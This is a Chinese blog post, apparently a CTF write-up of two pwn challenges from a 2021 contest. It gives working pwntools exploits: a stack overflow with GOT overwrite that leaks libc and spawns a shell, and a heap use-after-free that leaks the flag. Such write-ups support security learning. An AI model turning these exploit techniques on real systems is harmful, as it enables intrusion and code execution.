
陇原战陇原战“疫疫“2021网络安全大赛网络安全大赛 bbbaby和和Magic

yj@pwn  于 2021-11-17 17:06:47 发布  189  收藏
文章标签： pwn
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/zylxixixi/article/details/121375956
版权

一、一、bbbaby
首先对程序进行分析 ，程序较为简单，提供了修改地址内容和输入任意大小内容的功能，存在栈溢出的可能。

https://blog.csdn.net/zylxixixi
https://so.csdn.net/so/search/s.do?q=pwn&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/zylxixixi/article/details/121375956


因为事情多，就看了眼题，最开始我想使用利用栈溢出再使用chk_stack_fail泄露出libc版本信息，虽然成功打印
出libc地址但是已经退出了程序。参考了大佬陇原战疫2021网络安全大赛-pwn-wp - LynneHuan - 博客园 ，

后面的思路为首先利用提供的修改地址内容的功能，将chk_stack_fail的got地址修改为puts的plt地址，然后通过
栈溢出覆盖程序返回地址，利用puts函数泄露出libc地址，然后将atoi的got地址修改为system的地址，然后输
入‘/bin/sh\x00’，即执行system('/bin/sh\x00')

from pwn import *
def add_content(size,content):
    sh.sendlineafter('choice\n',"1")
    sh.sendlineafter('size:\n',str(size))
    sh.sendafter('content:\n',content)

def add_address(address,content):
    sh.sendlineafter('choice\n',"0")
    sh.sendlineafter('address:\n',str(address))
    sh.sendafter('content:\n',content)

context.log_level = 'DEBUG'
sh = process('./pwn1')
elf = ELF('./pwn1')
libc = ELF('./libc-2.23.so')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
chk_fail = elf.got['__stack_chk_fail']
content_addr = 0x00000000004008BB
address_addr = 0x000000000040086C
add_address(chk_fail,p64(puts_plt))
payload = 'a'*0x118+p64(0x0000000000400a03)
payload+= p64(puts_got)+p64(puts_plt)
payload+= p64(address_addr)+p64(content_addr)
add_content(0x1000,payload)
sh.sendlineafter('choice\n','2')
leak_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = leak_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
sh.sendline(str(atoi_got))
sh.sendafter('content:\n',p64(system_addr))
sh.sendline('/bin/sh\x00')
sh.interactive()

最后成功获得shell。

https://www.cnblogs.com/LynneHuan/p/15522466.html


 

二、二、Magic
经典堆的题目，分析程序，分支比较多，但是实现功能也就那几个

第一个功能为search功能，就是简单的创建一个块，大小固定为0x70

 第二个功能为magic功能，对创建的0x70大小的块进行赋值，并且打印出该内容



第三个功能为remove，就是把申请的块释放掉，但没有将指针置0，存在UAF

 关键函数，将flag读取并储存在一个堆中



很明显0x110大小的堆块中就存储了flag中的内容（这里是本地测试自己建立的flag）

 思路比较简单，我们只要伪造一个chunk头，利用UAF漏洞，分配到伪造的chunk，然后利用magic功能打印出
flag。



from pwn import *

def add(idx):
    sh.sendlineafter('choice: \n','1\n\n')
    sh.sendlineafter('Input the idx\n',str(idx)+'\n\n')

def edit(idx,content):
    sh.sendlineafter('choice: \n','2\n\n')
    sh.sendlineafter('Input the idx',str(idx)+'\n\n')
    sh.sendafter('Input the Magic\n',content)

def delete(idx):
    sh.sendlineafter('choice: \n','3\n\n')
    sh.sendlineafter('Input the idx',str(idx)+'\n\n')
context.log_level = 'DEBUG'
sh = process('./Magic')
#sh = remote('node4.buuoj.cn',25261)
add(0)
add(0)
add(0)
add(0)
add(1)
edit(1,p64(0)*3+p64(0x71))
delete(1)
delete(0)
edit(0,'\xe0')
add(0)
add(0)
edit(0,'a'*0x50)
sh.interactive()
                                                                                                

程序运行结果为
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